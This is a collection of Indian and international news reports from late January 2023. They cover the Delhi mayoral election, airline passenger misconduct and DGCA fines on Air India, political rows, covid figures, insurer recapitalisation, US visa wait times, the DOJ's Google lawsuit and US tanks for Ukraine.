"We are ready for Tuesday. I have informed the LG and his MCD secretary about the ruckus of the last time," Sharma said. The maiden meeting of the newly elected MCD council on January 6 was adjourned without mayor and the deputy mayor amid loud protests by AAP councillors over the presiding officer's decision to administer oath to the 10 aldermen first.

Aldermen refers to people who are experts in their fields. However, they do not have voting rights in the mayoral election. The agenda of the January 24 meeting mentioned that councillors and members nominated as per DMC Act 1957 (amended in 2022) will take the oath.

Councillors and members nominated as per DMC Act 1957 (amended in 2022) will take the oath, followed by the election for the posts of mayor, deputy mayor and six members of the standing committee," says the agenda.

The civic polls were held on December 4 and the counting of votes took place on December 7. The AAP had emerged as a clear winner in the polls, bagging 134 wards and ending the BJP's 15-year rule in the civic body. The Bharatiya Janata Party (BJP) won 104 wards to finish second, while the Congress won nine seats in the 250-member municipal house which will convene on January 24 for the second time after the 2022 civic polls.

Shelly Oberoi and Ashu Thakur are AAP's contenders for the post of mayor, with Oberoi said to have a stronger claim to the post. BJP has nominated Rekha Gupta as its contender for the post.

The nominees for the post of deputy mayor are Aaley Mohammad Iqbal and Jalaj Kumar from AAP. Kamal Bagri has been nominated from BJP for the deputy mayor's role. Seven candidates are in the fray for 6 posts on the Standing Committee. Aam Aadmi Party has fielded Amil Malik, Raminder Kaur, Mohini Jeenwal and Sarika Chowdhary while BJP has Kamaljeet Sehrawat, Gajendra Daral and Pankaj Luthra as its candidates for the Standing Committee.

Delhi is set to get a woman mayor and she will step into the footsteps of freedom fighter Aruna Asaf Ali who was chosen to the top post in 1958 when the Municipal Corporation of Delhi came into being.

The post of mayor in Delhi sees five single-year terms on a rotation basis, with the first year being reserved for women, the second for the open category, third for the reserved category, and the remaining two also being in the open category

The MCD had come into being in April 1958 and its mayor wielded influential power and carried a huge prestige till 2012 when the corporation was spilt into three separate civic bodies, each having its own mayor.

In 2022, the Centre brought a legislation to unify the North Delhi Municipal Corporation (104 wards), South Delhi Municipal Corporation (104 wards), and East Delhi Municipal Corporation (64 wards) into a single entity though it had capped the total number of wards at 250, down from 272 wards earlier.

Thus, after the mayoral poll, Delhi will get a mayor for the city as a whole after a gap of 10 years. The MCD headquarters is housed in the towering Civic Centre in the central Delhi.

It had begun its journey in 1958 from the historic 1860s-era Town Hall in Old Delhi and was shifted to the swanky complex in April 2010.

(With inputs from agencies)
The Delhi police have arrested the passenger on the Delhi-Hyderabad SpiceJet flight who misbehaved with a female crew member onboard the flight. The arrest came after a complaint from SpiceJet's security officer.

Absar Alam, the accused passenger on the Delhi-Hyderabad SpiceJet flight who misbehaved with a female crew member onboard the flight has been arrested after a complaint from SpiceJet security officer. A case has been filed as well," news agency ANI has reported citing Delhi police.

Earlier on 23 January, a passenger on a SpiceJet aircraft was deboarded allegedly for unruly and inappropriate" behaviour onboard the Delhi-Hyderabad flight at Delhi airport. The co-passenger was also offloaded along with the man who was accused of inappropriate behaviour onboard the flight.

In the video shared by ANI showed an elderly man in a verbal fight with the airline crew.

While issuing a statement, the carrier wrote, "On January 23, 2023, SpiceJet wet-leased Corendon aircraft was scheduled to operate SG-8133 (Delhi - Hyderabad). During boarding at Delhi, one passenger behaved in an unruly and inappropriate manner, harassing and causing disturbance to the cabin crew. The crew informed the PIC and security staff of the same. The said passenger and a co-passenger, who were travelling together, were offloaded and handed over to the security team."

The crew alleged that the passenger had touched one of the crew members inappropriately, however, the passenger said that it was an accident due to the confined space in the aircraft, as reported by ANI.

Meanwhile, in recent times, there have been various incidents of unruly behaviour by passengers onboard flights. Under the DGCA norms, unruly behaviour can even attract life time ban on flying.

Earlier on 7 January, two foreign nationals were offloaded from a Mumbai-bound Go First flight from Goa after they allegedly misbehaved with a woman cabin crew member. Not just this, at least three incidents of unruly passenger behaviour onboard two Air India international flights last year came to light in recent weeks. Among others, there was also an incident onboard a Thai Smile Airways plane from Bangkok to Kolkata last month.

On January 20, DGCA imposed a penalty of 30 lakh on Air India and had also suspended the license of the pilot-in-command of the New York-Delhi flight in which a person allegedly urinated on a female co-passenger. In the incident, which happened on November 26, 2022, the watchdog has also slapped a fine of 3 lakh on Air India's Director of in-flight services for failing to discharge her duties.

Air India has imposed a four-month flying ban on the accused Shankar Mishra, who is in jail now.

In another incident, DGCA had issued a show cause notice to Air India after finding the airline's response as "lackadaisical and delayed" regarding two incidents of passenger misbehaviour onboard a flight from Paris to New Delhi last month.

In one incident, a drunk passenger was caught smoking in the lavatory and was not listening to the crew. In the second incident, another passenger allegedly relieved himself on a vacant seat and blanket of a fellow female passenger when she went to the lavatory. These incidents had happened onboard the Paris-New Delhi flight on December 6, 2022 that were not reported to the regulator.

On December 29, the Bureau of Civil Aviation Security (BCAS) filed a police complaint regarding the scuffle between passengers onboard a Thai Smile Airways plane from Bangkok to Kolkata on December 26.

A video clip of the incident that happened before the take-off of the A320 plane from Bangkok on December 26 was shared on social media. In the clip, a male passenger was being slapped multiple times by a few male co-passengers.

"With regard to the scuffle between passengers on board a @ThaiSmileAirway flight, a police complaint has been filed against those involved. Such behaviour is unacceptable," Civil Aviation Minister Jyotiraditya Scindia had said in a tweet on December 29.

Under DGCA rules, the airline concerned is responsible for informing the regulator within 12 hours of landing of the aircraft in case of any incident of unruly passengers/ passenger rage/passenger misconduct reported in their flight, the statement said.

Besides, the airline concerned has to set up a three-member internal committee. It will have a retired District and Sessions Judge as Chairman, a representative from a different scheduled airline as a member and a representative from a passengers' association or consumer association or retired officer of Consumer Dispute Redressal Forum as the third member.

The committee can decide the duration of flying ban on the unruly passenger within 30 days and there could be a life time ban.

During the pendency of the decision by the committee, the airline concerned may ban such unruly passenger from flying for a period of up to 30 days, as per the rules.

After the committee takes the decision, the airline should maintain a database of all such unruly passengers and inform the same to DGCA, which is the custodian for maintaining the 'no-fly list'.

(With inputs from agencies)
Days after being fined by the aviation regulator over its handling of the 26 November 2022 peeing incident Air India has issued a statement claiming its crew did nothing wrong when the incident came to light. The airline backed the judgment calls taken by the crew who chose to record it as (non-reportable) incident rather than (reportable) case of unruliness after the two sides reached a resolution. It also sided with the accused's claim that there was no proof to claims made by the witness despite that crew helped her out.

Air India in its statement says that it has closed its internal investigation into the actions of its crew who were approached by the complaint for assistance following the incident when a passenger had allegedly urinated on the complainant.

Airline claims the crew took the incident at 'face value' despite absence of any witness and helped the complainant by giving her new clothes and cleaned her belongings and relocated her to another business seat.

"In the absence of any witnesses, the crew took the complainants allegation at face value and assisted her by providing fresh clothes, helping clean her belongings and relocating her to another business class seat of the same type as her original one," said Air India in its statement.

Air India denied that concerned person was served alcohol by crew. The firm said when confronted, the concerned person was 'cooperative.'

"When awoken and confronted with the allegation, the alleged perpetrator was calm, co-operative and professed ignorance of the allegation. He had not been served excessive alcohol by crew and did not appear intoxicated to the crew," Air India said in a statement.

It further added, He (S Mishra) was co-operative & claiming ignorance of the event, there was no risk to flight safety & that a resolution had been witnessed b/w the parties, crew made a judgement call to record it as (non-reportable) incident rather than (reportable) case of unruliness.

The airline added that the commander was kept regularly informed by cabin crew and he posed no risk to flight safety at any time," it said.

"Air India acknowledges that, in immediately taking the complainants accusation at face value and providing assistance, it follows that the matter should have been reported as a prima facie case of a passenger behaving in a disorderly manner toward other passengers" and, as such, meeting the description of unruly behaviour at paragraph 4.9(d)(ii) of Civil Aviation Requirements, Section 3, Series M, Part VI (the CAR). The matter should have been classified and reported as such, without prejudice to any subsequent investigation into the facts," the statement said.

Air India acknowledges the decision of the DGCA to impose fines on the Company, a ground staff and to suspend the Commanders license.

As stated above, Air India accepts that, notwithstanding the mitigating circumstances, based on the letter of the CAR it did not correctly classify the incident and therefore did not report it as required. The crew and ground staff have been issued warning letters to henceforth adhere strictly to CAR definition of unruly" when reporting incidents onboard, so that later investigation can assess the facts. The cabin crew and ground staff have been counselled and have since returned to duty.

The airline says it acknowledges the decision of the DGCA to impose fines on the company, ground staff and to suspend the Commanders license.

As stated above, Air India accepts that, notwithstanding the mitigating circumstances, based on the letter of the CAR it did not correctly classify the incident and therefore did not report it as required. The crew and ground staff have been issued warning letters to henceforth adhere strictly to CAR definition of unruly" when reporting incidents onboard, so that later investigation can assess the facts. The cabin crew and ground staff have been counselled and have since returned to duty," the statement said.

Topics
The Directorate General of Civil Aviation (DGCA) on Tuesday imposed a 10 lakh fine on Tata-owned Air India airline, for not reporting the incident where a passenger urinated on a vacant seat and blanket of a woman passenger. The incident occurred on 6 December, on Air India's Paris-New Delhi flight.

According to DGCA, apart from not reporting the incident on time, the airline also delayed referring the matter to its Internal Committee.

The action came after the aviation regulator sought a report from Air India after taking note of the incident. "Air India did not report the incident of a passenger urinating on the blanket of a female passenger. We have sought a report from the airline," the DGCA official told the news agency PTI.

After the Paris-New Delhi Air flight landed around 9:40 AM, the security of the airport was informed that a male passenger was "under the influence of alcohol and he was not following the instructions of the cabin crew, and he later peed on a blanket of an onboard lady passenger", airport officials had told news agency PTI.

The airport security allowed the accused to go, as the woman passenger who initially submitted a written complaint, refused to file a police complaint.

"Air India confirms that a passenger on Air India Flight 142 from Paris to Delhi on December 6, 2022, relieved himself on the vacant seat and blanket of a fellow passenger when the latter was in the lavatory. The crew identified and isolated the offender and reported the incident to authorities," the airline said confirming the incident.

This was the second fine on the air carrier after the aviation regulator imposed a 30 lakh fine on Air India for another urinating incident where a drunk passenger allegedly urinated on a fellow passenger on its New York-New Delhi flight. The fine was imposed for not following appropriate procedures after the incident. DGCA also suspended the pilot of that flight for 3 months, for failing to discharge his duties and ensure safety and discipline.
Congress leader Digvijaya Singh's recent remarks questioning the authenticity of the 2019 surgical strikes has not gone down well with the party. As the Bharat Jodo Yatra progresses through Jammu and Kashmir, fellow party leader Jairam Ramesh was seen fielding reporters and shielding Singh from counter-questions.

We have answered all the questions. You go and ask questions to the Prime Minister," he said on Tuesday as reporters asked Singh about his remarks.

Amid the the Bharat Jodo Yatra, visuals showed the two leaders being thronged by reporters as they walked along. Last week Singh had said that there was no proof of the 2019 surgical strike against Pakistan.

#WATCH | Jammu: "We have answered all the questions. You go and ask questions to the Prime Minister," said Jairam Ramesh, Congress General Secretary in-charge when asked about Digvijaya Singh's remark on the surgical strike pic.twitter.com/A12PRYzZ6f  ANI (@ANI) January 24, 2023

Earlier on Monday, Ramesh had taken to Twitter to assert that the views expressed by Digvijaya Singh 'were his own' and did not reflect the position of the Congress.

Surgical strikes were carried out before 2014 by UPA government. Congress has supported and will continue to support all military actions that are in the national interest," he wrote.

And while Singh insisted on Tuesday that he had the greatest regard for the defence forces", he has continued to pose questions about the authenticity of the strikes.

From where did the terrorists get 300 kg of RDX in the Pulwama incident? DSP Davinder Singh was caught with terrorists but then why was he released? We also want to know about the friendship between the prime ministers of Pakistan and India," he had tweeted in Hindi soon after Ramesh's post.

It is pertinent to note here that other senior leaders of the party - including Wayanad MP Rahul Gandhi and party president Mallikarjun Kharge - have distanced themselves from Singh's remarks.

We don't appreciate Digvijaya Singh's personal views. His views are outlying views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that," Gandhi said during a press conference.

(With inputs from agencies)
New Delhi: India reported 89 new covid-19 cases and two deaths in the last 24 hours, the union health ministry data on Tuesday showed. The active case count came down by three to 1,931 and the total number of covid cases have reached 4.47 crore. India recorded 530,737 covid related deaths since the onset of the pandemic.

The daily positivity rate was recorded at 0.06%, while the weekly positivity was at 0.08%.

Karnataka reported 163 active cases while Kerala has 1210 active cases. Maharashtra has 117 active cases, Odisha 74 cases, Rajasthan with 4 cases, Tamil Nadu has 36 active cases; Uttar Pradesh 13 and West Bengal has 51 active cases so far.

The country has conducted over 1,61,679 tests in the last 24 hours taking the total trajectory of covid testing to 91.45 crore so far.

Under the covid vaccination drive, more than 220.30 crore vaccine doses have been administered to the people across the country so far. In the last 24 hours, around 2,18,324 vaccine doses were administered.

Meanwhile, INSACOG under the supervision of Department of Biotechnology (DBT) is keeping a close watch on covid situation in the country and continues to do constant genome sequencing to track any new variant.

Besides, surveillance at the hospital level is also going on to monitor lnfluenza-like illness (lLl) & SARI cases.

Government officials have warned that the next 40 days would be crucial in determining the possibility of a resurgence of covid-19 cases in India as they urged people to follow safety protocols and complete their vaccination doses.

With large number of covid cases being reported in China and other countries, the government has tightened covid preparedness measures urging people to complete their vaccination doses and follow covid-19 preventive measures.
Countries like India are well-positioned to succeed in the new international order, said veteran Singaporean diplomat Bilahari Kausikan.

Speaking of the state of the world, Kausikan stated his belief that the competition between the United States and China would create shifts in the major order. While the rivalry between two superpowers would undoubtedly create tensions in the world, complex interdependencies will remain between the two major powers. This mix of shared interests but also divergences will create a mixed order that is driven by looser alliances and fluid alignments between nations.

Also Read: Tech in trouble? How a likely global recession will impact Indian IT companies

Countries like India, Kausikan argued, were particularly well suited to succeed in such strategic environments given their ability to deal with a number of geopolitical actors.

Kausikan, who joined the Singaporean Foreign Ministry in 1981, has served as the island nations Foreign Secretary as well as Ambassador to the UN and Russia. He was delivering the 3rd Atal Behari Vajpayee Memorial Lecture, organized by the Ministry of External Affairs. According to the MEA, the lecture series was created to pay tribute to former Prime Minister Vakpayees contribution to Indias foreign policy.

Also Read: Budget 2023: Pre-budget expectations for salaried individuals on tax relief

We will have to learn to think of concepts like order and its corollary balance, equilibrium and even stability in dynamic rather than static terms. To successfully navigate this emerging system will require a fundamental shift or mind-set and approach that not every country will find comfortable. I believe that India and Singapore may find it relatively easier than most, because what is required is largely already our diplomatic modus operandi," said Kausikan.

Also Read: Union Minister Puri urges oil companies to slash prices in India if global prices are under control

During his remarks, Kausikan also delved into the prospects of major global powers like China, the United States and Russia. He examined the impact of crises like the war in Ukraine on the future of the international order.

The proceedings were presided over by Indias External Affairs Minister S. Jaishankar.
NEW DELHI : The government may infuse 4,000-5,000 crore in three loss-making, state-owned general insurers after the budget to help them meet regulatory requirements in preparation for planned listing and privatisation. According to two persons privy to the development, the capital provision would be made in the current years budget for which Parliamentary approval is expected to be taken through the last supplementary demand for grants for FY23 later in March. The government had already enhanced the authorised capital keeping further fund infusion in mind. The budget may also provide token capital for insurance companies that would be validated only after fresh requirement is assessed post the restructuring of the general insurance companies, one of the two people said.

The capital infusion would help improve the financial health of the three firmsNational Insurance Company Limited, Oriental Insurance Company Limited and United India Insurance Company. It will also help improve their solvency ratio, a key parameter that indicates financial buffer to settle all claims in extreme situations. According to insurance industry experts, the solvency ratio of the three public sector insurers is well below a ratio of 1 while insurance regulator IRDAI mandates that the minimum solvency ratio insurance companies must maintain is 1.5 to lower risks. In terms of solvency margin, the required value is 150%.

Solvency margin is the extra capital companies must hold over and above the claim amounts they are likely to incur. It acts as a financial backup in extreme situations, enabling the company to settle all claims.

Among state-owned insurers, only New India Assurance is in the green. The other three, United India Insurance, National Insurance Company, and Oriental Insurance Company, suffered losses of 6,926 crore in FY22. Even, New India Assurances reported a dip in its profits during the September 2022 quarter.

The people cited above said that Budget FY23 did not provide recapitalisation fund for the loss-making general insurance companies. But this will now be provided to ensure improved financial health of insurers in the next fiscal.

If the companies become profitable, the next exercise of listing and privatising at least one of them may begin.

The four public sector firms had appointed EY to suggest restructuring of their operations to bring in profitable growth and employee development through performance and capability management.

Based on initial inputs, a restructuring exercise like closure of offices and redeployment of staff is already being carried out by the insurers.

The government had provided 12,450 crore to these three insurers in FY21 and 5,000 crore in the last month of FY22. No provision for capital has so far been made for FY23.

No capital provision has been provided for insurers in budget 2022-23. So this money infusion would test their ability to strengthen operations. Also, after this, work on privatising one of the public sector insurers could be started soon," said the official quoted earlier.

Questions mailed to finance ministry and secretary, department of financial services (DFS), the administrative body in charge of public sector insurers, remained unanswered at press time.

The official said that the government may consider the stock exchange listing of National Insurance and Oriental Insurance after the capital infusion, while United India Insurance may be considered for privatisation. This could change if more capital is provided in FY24, meaning more time required for strengthening the financial health of insurers.

The government had earlier indicated its intent to privatize at least one public sector general insurer. Privatization of insurance companies is easier to process for the government after the General Insurance Business Nationalisation Act was amended by Parliament in 2021 to enable transfer of ownership of companies and privatization. The amendment allows the government to dilute its stake in a general insurance company to below 51%.

Finance minister Nirmala Sitharaman in her Budget 2021 speech had proposed strategic divestment in two public sector banks and one insurance company. But the process is yet to move ahead. In the case of banks, the amendment to the Banking Regulation Act is yet to be passed by Parliament.

This amendment is required before the government can dilute its stake and change management in public sector banks.

United India Insurance is not in best of financial health, having reported losses in the past several quarters. Still, the insurer is considered the best candidate for privatisation as it is thought provide good value to the acquirer, with its nationwide presence and strong market share in various general insurance categories. Moreover, its not listed, making the transaction process easier.

The Centre was earlier working on a proposal to merge public sector insurers. Under this, the plan was to merge National Insurance Company, United India Insurance Company and Oriental India Insurance into a single insurance entity, and subsequently list it on exchanges. However, in mid 2020, the government infused 12,450 crore in the three entities looking forward to their profitable growth as single entities.

The general insurance market in the country comprises 27 companiesincluding the four major PSU entities and 23 private playersplus six stand-alone health insurers.

The insurance density in India (ratio of premium to total population) is $73 compared with average world insurance density of $650. Insurance penetration in India is at 3.69% compared with the world average of 6.13%. The penetration in the general insurance sector is still less than 1%.
US State Department spokesperson Ned Price said on Monday said that he was not familiar with the BBC documentary on Indian Prime Minister, however, he added that he was very familiar with the shared values that enact the both the nations as two thriving and vibrant democracies.

Price was responding to a media query on a BBC documentary on PM Modi which has sparked controversy since its release.

While addressing a press briefing on Monday, Price said that there are numerous elements that bolster the US' global strategic partnership with India which include political, economic and exceptionally deep people-to-people ties.

Also Read: BBC Modi documentary: In Govt vs Opposition, blocked links resurface on Twitter

"I'm not familiar with the documentary you're referring to. I am very familiar with the shared values that enact the United States and India as two thriving, vibrant democracies. When we have concerns about actions that are taken in India, we've voiced those we've had an occasion to do that," he said.

Calling India's democracy a vibrant one, he said "we look to everything that ties us together, and we look to reinforce all of those elements that tie us together," as he underlined the diplomatic ties that US and India share with each other.

BBC released a documentary called India: The Modi Question. The first episode of the docu-series was aired on Tuesday and was removed from YouTube on Wednesday. The second part of the series is scheduled to be broadcast on January 24. The series looks into Narendra Modi's time as the chief minister of Gujarat. According to the BBC, the documentary will examines how "Narendra Modi's premiership has been dogged by persistent allegations about the attitude of his government towards India's Muslim population."

Price also stressed the fact that the partnership that the US shares with India is exceptionally deep and that both nations share the values that are common to American democracy and to Indian democracy.

"I'm not aware of this documentary that you point to, but I will say broadly, is that there are a number of elements that undergird the global strategic partnership that we have with our Indian partners. There are close political ties, there are economic ties, there are exceptionally deep people-to-people ties between the United States and India. But one of those additional elements are the values that we share the values that are common to American democracy and to Indian democracy," he added.

Last week, UK Prime Minister Rishi Sunak defended Prime Minister Narendra Modi and distanced himself from the BBC documentary series, saying he "doesn't agree with the characterisation" of his Indian counterpart.

Sunak made these remarks on the controversial documentary that was raised in the British Parliament by Pakistan-origin MP Imran Hussain.

On 21 January, Centre had also directed the officials to block multiple YouTube videos and Twitter posts sharing links to the BBC documentary India: The Modi Question", sources said as quoted by news agency PTI. Sources also informed that the directions were reportedly issued by the Secretary of Ministry of Information and Broadcasting, Apurva Chandra on Friday using the emergency powers under the IT Rules, 2021.

Meanwhile, The Ministry of External Affairs responded to the BBC story by claiming that it was entirely biased.

While addressing a weekly presser in New Delhi, MEA spokesperson Arindam Bagchi said, "We think this is a propaganda piece. This has no objectivity. This is biased. Do note that this hasn't been screened in India. We don't want to answer more on this so that this doesn't get much dignity."

He even raised questions on "the purpose of the exercise and the agenda behind it. "The documentary is a reflection of the agency and individuals that are peddling this narrative again. It makes us wonder about the purpose of the exercise and the agenda behind it; frankly, we do not wish to dignify these efforts," he added.

Referring to apparent remarks made by former UK Secretary Jack Straw in the documentary series, Bagchi said "He (Jack Straw) seems to be referring to some internal UK report. How do I have access to that? It's a 20-year-old report. Why would we jump on it now? Just because Jack Straw says it how do they lend it that much legitimacy."

"I heard words like inquiry and investigations. There is a reason why we use the colonial mindset. We don't use words loosely. What inquiry they were diplomats there...investigation, are they ruling the country?" Bagchi asked.

Prominent Indian-origin UK citizens condemned the series. Prominent UK citizen Lord Rami Ranger said the "BBC caused a great deal of hurt to over a billion Indians."

Furthermore, the US Department spokesperson also said that the US has always called for regional stability in South Asia and that its relationships with India and Pakistan stand on their own.

He further stated that the pace and scope of dialogue between India and Pakistan is clearly a matter for the two countries.

'We've long called for regional stability in South Asia. Our relationships with India & Pakistan stand on their own and we don't see them as zero-sum. But pace, scope & character of any dialogue between India & Pakistan is a matter for the two countries," Price said during the briefing.

(With inputs from ANI)
While addressing a conference, Gandhi said, "We don't appreciate Digvijaya Singh's personal views. His views are outlying views."

He further clarified that the Armed Forces do their job exceptionally well and they do not need to provide proof of that.

#WATCH | We don't appreciate Digvijaya Singh's personal views. His views are outlying views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that: Congress MP Rahul Gandhi pic.twitter.com/O67iRg8aNk  ANI (@ANI) January 24, 2023

Earlier on Monday, the Congress too had distanced itself from Singh's remarks questioning the 2019 surgical strikes and said that the views do not reflect the position of the party which supports all military actions that are in national interest.

"The views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress. Surgical strikes were carried out before 2014 by UPA government. Congress has supported and will continue to support all military actions that are in the national interest," AICC general secretary, communications, Jairam Ramesh said on Twitter.

Here's what Digvijay Singh said:

Addressing a public meeting during the Bharat Jodo Yatra in Jammu and Kashmir, Singh alleged that the government did not agree to the CRPF request of flying its personnel from Srinagar to Delhi and 40 soldiers sacrificed their lives in Pulwama in 2019 to a terror attack.

"They talk of surgical strikes. They claim to have killed so many people but no proof is given. They are ruling by peddling a bundle of lies," the former Madhya Pradesh chief minister had said.

Not just this, he then posted a video on Twitter and questioned, From where did the terrorists get 300 kg of RDX in Pulwama incident? DSP Davinder Singh was caught with terrorists but then why was he released? We also want to know about the friendship between the prime ministers of Pakistan and India."

Earlier today, Singh trying to put an end to the row also said: "I have got the greatest regard for the Defence forces" as the leaders marched on along with other padayatris.

Meanwhile, Singh's remark drew sharp criticism from the BJP, which accused the opposition party of "insulting" the armed forces after being "blinded" by its "hate" for PM Modi.

BJP spokesperson Gaurav Bhatia hit out at the Congress saying such comments show that the Rahul Gandhi-led foot march across the country is Bharat Jodo Yatra only in name while he and his party colleagues are working to "break" the country.

"It is essentially "Bharat todo yatra", Bhatia said.

"India will not tolerate if they speak against armed forces. Rahul Gandhi and the Congress hate PM Modi but it seems they have been blinded by the hate to an extent that their dedication to the country has withered away," he said.

While speaking to ANI, former IAF officer Wg Cdr Praful Bakshi (retd) said on Monday that, "The Army does not give any proof. What proof should it give and why? If you want to know, ask the Pakistanis. If they are your friends, they will tell you, if not, they won't. Nobody can compel the Army to give proof. If the government wants to give proof, it can. But the government also knows that it would be against the policy of the Army. The Pakistanis levelled the place where the attack took place. It does not matter who says what. I think it is not even a question. The media should not react to this."

The former IAF officer said that Pakistan has come down to its knees after the strikes, adding that it is the duty of the Army "not to answer".

"It is about national security. The strike was conducted for the country. Neither the Army nor the government is bound to answer how and why the strikes were conducted. Pakistan has come to its knees after the strikes. Now their Prime Minister wants good relations with India. It is the duty of the Army not to answer even if the almighty asks," he said.
President of Egypt Abdel Fattah El-Sisi, who is the Chief Guest for the 74th Republic Day parade will arrive in New Delhi on Tuesday. He is expected to reach around 6:00 PM and will be accompanied by a high-level delegation. The delegation which includes senior ministers and officials of the Egyptian government is officially visiting India from 24 January to 27 January.

On Wednesday, El-Sisi will be accorded a ceremonial reception at the Rashtrapati Bhawan.

With an intention to explore the countries of the Global South, Prime Minister Narendra Modi-led Union Government has decided to invite the President of Egypt as the Chief Guest of the Republic Day parade for the first time.

El-Sisi is scheduled to meet President of India Droupadi Murmu, Prime Minister Narendra Modi, and Union Minister of External Affairs S Jaishankar. With PM Modi, the President of Egypt will discuss the bilateral relations. The two leaders are expected to share their views on regional and global issues.

As per the media release by the Ministry of External Affairs, El-Sisi will meet with Union Minister S Jaishankar at the Rashtrapati Bhawan.

During his visit, the Egyptian President will also visit Rajghat, to lay a wreath at the memorial of Mahatma Gandhi.

For the visiting dignitaries, President Droupadi Murmu will also host a state banquet, where the foreign delegation will meet the other senior leaders of the Union Government.

On this Republic Day, a contingent of the Egyptian Army will march on the Rajpath with their Indian counterparts. The President of Egypt will be the Chief Guest of the event, after which he will attend an "at home" reception by President Murmu at Rashtrapati Bhawan.

El-Sisi will meet Vice-President of India Jagdeep Dhankar and will also interact with the business community of India.

"This is for the first time that the President of the Arab Republic of Egypt has been invited as Chief Guest on our Republic Day. A military contingent from Egyptian Army will also participate in the Republic Day parade," the Ministry of External Affairs said in an official statement on Monday.

"The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt," the statement added.

In the fiscal year 2021-22, the bilateral trade between India and Egypt reached $7.26 billion, with almost equal imports and exports. Indian exports to the country were $3.74 billion, while the imports were $3.52. Both countries are looking at increasing their engagement and strengthening their economic cooperation.

(With Inputs from ANI)
In a bid to cut the US visa wait time from India, the US embassy and its consulates in the country have initiated several measures, including special Saturday interview days, remote processing of interview waiver cases and more.

For Indians applying for work visas, the wait time currently ranges from 60-280 days while the wait time for visitors is approximately 1.5 years. In comparison, it is just about 20 days from European cities, and 30-35 days from Beijing and Colombo.

Informing about the new measures, the embassy in a recent release said it has launched special Saturday interview days. The United States Embassy in New Delhi and Consulates in Mumbai, Chennai, Kolkata and Hyderabad all opened consular operations on Saturday to accommodate applicants who require in-person visa interviews."

In the coming months, the Mission will continue to open additional slots for appointments to take place on select Saturdays," it also adds.

The embassy also mentions that Saturday interview is just one component of a multi-pronged initiative to reduce the wait time. Here are a look at some other measures.

The Department of State has implemented remote processing of interview waiver cases for applicants with previous U.S. visas.

Between January and March 2023, dozens of temporary consular officers from Washington and other embassies will arrive in India to increase processing capacity.

The Department of State is also increasing the number of consular officers permanently assigned to the Embassy and Consulates.

The U.S. Mission in India released more than 250,000 additional B1/B2 appointments.

Consulate General Mumbai also extended its weekday operating hours to make space for additional appointments.

The US mission said its services in India had been hit by the Covid-19 pandemic, creating a large backlog. It affected several Indian businesses and thousands of Indians who rely on the visa to live and work in the US.

Consulate General Mumbai currently adjudicates the most visa applications in India and is one of the largest visa operations in the world. Our consular teams across India are putting in the extra hours to meet the needs of international travelers and bring down wait times," said Mumbai Consular Chief John Ballard. This is part of a Mission wide effort to find innovative solutions to facilitate travel to the United States."
The US Justice Department is poised to sue Alphabet Inc.s Google as soon as Tuesday regarding the search giants dominance over the digital advertising market, according to people familiar with the matter.

The case is expected to be filed in federal court before the end of the week, said the people, who asked not to be named discussing a confidential matter.

The Justice Department didnt immediately respond to a request for comment. Google declined to comment.

The lawsuit will mark the Justice Departments second monopoly case against the company, which is the No. 1 player in the $278.6 billion US digital-ad market, controlling most of the technology used to buy, sell and serve online advertising.

The lawsuit would also be the fifth major case in the US challenging the companys business practices. State attorneys general have filed three separate suits against Google, alleging it dominates the markets for online search, advertising technology and apps on the Android mobile platform in violation of antitrust laws.

The Mountain View, California-based company is No. 1 in the $626.86 billion global digital ad market, according to 2023 estimates by research firm EMarketer, with the US representing the biggest piece. Alphabets ad operations are expected to bring in $73.8 billion in US digital ad revenue in 2023. Google runs an ad-buying service for marketers and an ad-selling one for publishers, as well as a trading exchange where both sides complete transactions in lightning-fast auctions.

Google has argued that the market for online advertising is a crowded and competitive one. In court filings and congressional testimony, the company has noted its rivals include other major players in the ad tech market such as Amazon.com Inc., Meta Platforms Inc. and Microsoft Corp.

The departments scrutiny of Googles control of the ad tech market goes back to the Trump administration. The DOJ under then-Attorney General William Barr sued Google over its search business instead, alleging the company used exclusive distribution deals with wireless carriers and phone makers to lock out competition. That case is due to go to trial in September.
In what would be a reversal, the Biden administration is poised to approve sending M1 Abrams tanks to Ukraine, U.S. officials said Tuesday, as international reluctance to send tanks to the battlefront against the Russians begins to erode. The decision could be announced as soon as Wednesday, though it could take months or years for the tanks to be delivered.

Also Read: Ukraine pledges sweeping personnel changes as allies jostle over tanks

U.S. officials said details are still being worked out. One official said the tanks would be bought under an upcoming Ukraine Security Assistance Initiative package, which provides longer-range funding for weapons and equipment to be purchased from commercial vendors.

The U.S. announcement is expected in coordination with an announcement by Germany that it will approve Polands request to transfer German-made Leopard 2 tanks to Ukraine, according to one official. The officials spoke on condition of anonymity because the decision has not yet been made public.

Also Read: Germany would not block Poland from sending tanks to Ukraine

By agreeing to send the Abrams at an as-yet unspecified time under the assistance initiative, the administration is able to meet German Chancellor Olaf Scholz's demand for an American commitment without having to send the tanks immediately.

Much of the aid sent so far in the 11-month-old war has been through a separate program drawing on Pentagon stocks to get weapons more quickly to Ukraine. But even under that program, it would take months to get tanks to Ukraine and to get Ukrainian forces trained on them.

It's unknown how many tanks would be approved.

Also Read: Britain to send 14 of its main battle tanks, more weaponry to Ukraine

Until now, the U.S. has resisted providing its own M1 Abrams tanks to Ukraine, citing extensive and complex maintenance and logistical challenges with the high-tech vehicles. Washington believes it would be more productive to send German Leopards since many allies have them and Ukrainian troops would need less training than on the more difficult Abrams.

Just last week, Under Secretary of Defense for Policy Colin Kahl told reporters that the Abrams is a complicated, expensive, difficult to maintain and hard to train on piece of equipment. One thing Defense Secretary Lloyd Austin has been very focused on, he said, "is that we should not be providing the Ukrainians systems they cant repair, they cant sustain, and that they, over the long term, cant afford, because its not helpful."

A U.S. official familiar with White House thinking said the administrations initial hesitancy was based on concerns about the requisite training and the sustainment of the tanks. The official added that the administration believes that such plans are now in place, but it could take time to implement them.

At the Pentagon, spokesman Brig. Gen. Pat Ryder said he had nothing to announce on any U.S. decision regarding Abrams tanks. But he said, anytime that weve provided Ukraine with a type of system, weve provided the training and sustainment capabilities with that."

The administration's reversal comes just days after a coalition of more than 50 senior defense officials from Europe and beyond met in Germany to discuss Ukraines war needs, and battle tanks were a prime topic.

